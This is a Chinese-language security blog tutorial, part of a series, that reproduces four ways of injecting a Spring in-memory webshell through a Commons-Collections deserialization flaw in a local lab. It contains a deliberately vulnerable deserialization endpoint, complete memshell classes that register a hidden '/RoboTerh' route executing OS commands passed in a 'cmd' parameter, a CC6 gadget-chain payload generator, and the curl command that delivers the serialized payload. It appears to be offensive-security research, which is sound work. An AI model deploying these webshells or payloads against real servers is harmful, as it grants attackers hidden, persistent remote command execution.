spring回顯方式在代碼層面的復現
前言
在前面的一章中,主要在理論上進行了各種內存馬的實現,這里就做為上一篇的補充,自己搭建反序列化的漏洞環境來進行上文中理論上內存馬的注入實踐。
這是內存馬系列文章的第十四篇。
環境搭建
可以使用我用的漏洞環境
https://github.com/Roboterh/JavaSecCodeEnv/blob/main/src/main/java/com/roboterh/vuln/controller/CommonsCollectionsVuln.java
或者自己搭建環境,使用:
- spring-boot 2.5.0
- commons-collections 3.2.1
我們使用commons-collections反序列化鏈作為一個反序列化漏洞的點,我們創建一個Controller類:
package com.roboterh.vuln.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;
@Controller
public class CommonsCollectionsVuln {
@ResponseBody
@RequestMapping("/unser")
public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {
java.io.InputStream inputStream = request.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
response.getWriter().println("successfully!!!");
}
@ResponseBody
@RequestMapping("/demo")
public void demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
response.getWriter().println("This is a Demo!!!");
}
}
在/unser路由中獲取了請求體輸入流進行了反序列化調用。
正文
Way 1
這個內存馬主要是在spring controller內存馬注入中提到的方式,但是這里有一點不同的是,在直接使用前面的代碼進行內存馬注入的過程中,并不能夠成功注入。
在debug過程中,發現是因為不能夠找到他的構造方法而報錯,更改后的注入方式。
1.首先是創建一個繼承了AbstractTranslet類的一個類:
package pers.cc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
public class SpringMemshell extends AbstractTranslet {
// 第一個構造函數
static {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 從當前上下文環境中獲得 RequestMappingHandlerMapping 的實例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通過反射獲得自定義 controller 中test的 Method 對象
Method method2 = null;
try {
method2 = SpringMemshell.class.getMethod("test");
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
// 3. 定義訪問 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/RoboTerh");
// 4. 定義允許訪問 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在內存中動態注冊 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 創建用于處理請求的對象,加入“aaa”參數是為了觸發第二個構造函數避免無限循環
SpringMemshell evilController = new SpringMemshell();
mappingHandlerMapping.registerMapping(info, evilController, method2);
}
public void test() throws IOException{
// 獲取request和response對象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
直接我們使用CC6鏈進行注入:
package pers.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.aspectj.util.FileUtil;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6_plus {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] bytes = FileUtil.readAsByteArray(new File("SpringMemshell.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
bytes
});
setFieldValue(obj, "_name", "1");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
InstantiateFactory instantiateFactory;
instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class
,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
ConstantTransformer constantTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
setFieldValue(outerMap,"factory",factoryTransformer);
outerMap.remove("keykey");
serialize(expMap);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser"));
out.writeObject(obj);
}
}
之后,我們將我們生成的序列化數據存放在了1.ser文件中。
2.在得到序列化數據之后,運行漏洞環境,通過curl命令來發送序列化數據進行反序列化:
curl -v "http://localhost:9999/unser" --data-binary "@./1.ser"
最后可以驗證注入效果。

能夠成功注入,solve it !!
Way 2
way 1中是使用的通過
(WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0)
來獲取的一個Child Context環境,進而操控RequestMappingHandlerMapping類對象,調用了其registerMapping進行路由的注冊。
這里我們換用上篇文章中提到的ContextLoader.getCurrentWebApplicationContext()來測試是否能夠成功注入。
在我簡單的將前面獲取上下文環境中的代碼進行替換:

發現并不能夠注入,原因是因為在調用ContextLoader.getCurrentWebApplicationContext方法中,并沒有得到上下文對象。

那為什么不能夠得到呢?
在上一篇中的講解中我們從注釋中也知道了ContextLoader類主要是通過ContextLoaderListener來進行初始化的工作的。
所以,只有配置了ContextLoaderListener這個監聽器之后才可以使用這個類,我們環境中并沒有進行配置,當然不能夠獲取到上下文環境捏!
但是在springboot中的解決方案官方主要是實現了一個ApplicationContextAware接口的類中設置一個存放上下文環境的屬性。這里我們通過spring項目的web.xml來進行實驗:

在配置了該監聽器之后,能夠通過這種方式獲取到上下文環境:

但是在這里又遇到了問題,在獲取RequestMappingHandlerMapping這個bean的時候提示找不到這個bean。

那又是因為什么捏?
因為通過這種方式獲取的Context是一個Root Context,對于Context來說,允許Child Context訪問Root Context中的Bean,反之是不允許的。
所以我們想要使用這種方法獲取該bean,不僅需要使用ContextLoaderListener這個監聽器,還需要使得最低我們需要的RequestMappingHandlerMapping這個bean是存在于Root Context中,即是在applicationContext.xml中進行的配置。
總結一下,很明顯,在能夠獲取Child Context的情況下,選擇前者的方法更占優也更加普遍。
Way 3
這里對于way 1中的實現中的改造主要是在進行Controller的動態創建中,主要是利用了DefaultAnnotationHandlerMapping該映射器的特點,能夠將注解轉換成對應的映射關系。但是在高版本spring中已經不存在這個類了,被其他類給替換掉了。
給個小例子:
@Controller
public class SpringMemshell1 extends AbstractTranslet {
static {
// 1.獲取上下文環境
ServletWebServerApplicationContext context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2.通過調用registerSingleton注冊一個bean
try {
context.getBeanFactory().registerSingleton("test", Class.forName("pers.cc.SpringMemshell1").newInstance());
} catch (Exception e) {
e.printStackTrace();
}
// 3.獲取DefaultAnnotationHandlerMapping這個實現類
DefaultAnnotationHandlerMapping defaultAnnotationHandlerMapping = context.getBean(DefaultAnnotationHandlerMapping.class);
// 4.反射獲取對應的registerHandler
try {
Method registerHandler = AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
// 5.調用該方法進行注冊路由和handler
registerHandler.setAccessible(true);
System.out.println("try....");
registerHandler.invoke(defaultAnnotationHandlerMapping, "/RoboTerh", "test");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@RequestMapping("/RoboTerh")
public void test(HttpServletRequest request, HttpServletResponse response) {
//exec
try {
String arg0 = request.getParameter("cmd");
System.out.println("RoboTerh....");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){}
}
}
Way 4
對于該方法相比較于Way 1中的構造也是變化在了Controller創建位置,
主要的點是在AbstractHandlerMethodMapping#detectHandlerMethods方法中:

在使用CC6反序列化利用鏈進行內存馬的注入過程中,在static代碼塊中進行了如下邏輯:
1.首先創建一個帶有Controller注解的Singleton
PS:后面會有解析其中注解的邏輯
2.因為AbstractHandlerMethodMapping是一個抽象類,所以我們通過使用他的實現類RequestMappingHandlerMapping來反射獲取對應的detectHandlerMethods方法

3.最后反射調用這個方法,傳入的參數是我們前面注冊的一個handler
具體解析注解的邏輯如下:
1.首先通過調用MethodIntrospector.selectMethods進行解析對應的注解,返回了一個LinkedHashMap類對象:

存放著方法和路由的映射關系
2.遍歷這個Map,通過AOP實現獲取可調用的方法對象。之后就是調用registerHandlerMethod方法,進行Controller注冊的步驟了。
相比于Way 1那種內存馬的實現,其實最后進行路由注冊的API都是同一個,在Way 1中,直接是通過調用registerHandlerMethod方法,傳入的是,自己構造的mapping / handler / method參數動態進行Controller的創建。
但是在該方法中,主要是通過自己通過構造一個帶有Controller相關注解的類,調用detectHandlerMethods方法的方式自動進行注解的解析,生成了對應的方法和路由的映射
給出實驗的代碼:
// 1.獲取上下文環境
ServletWebServerApplicationContext context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2.通過調用registerSingleton注冊一個bean
try {
context.getBeanFactory().registerSingleton("test", Class.forName("pers.cc.SpringMemshell1").newInstance());
} catch (Exception e) {
e.printStackTrace();
}
// 3.獲取RequestMappingHandlerMapping這個實現類
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 4.反射獲取對應的detectHandlerMethods
try {
Method registerHandler = AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
// 5.調用該方法進行注冊路由和handler
registerHandler.setAccessible(true);
System.out.println("try....");
registerHandler.invoke(requestMappingHandlerMapping, "test");
} catch (Exception e) {
e.printStackTrace();
}

能夠成功注入該內存馬。
同樣在控制臺中也打印除了我內置的一個測試代碼:

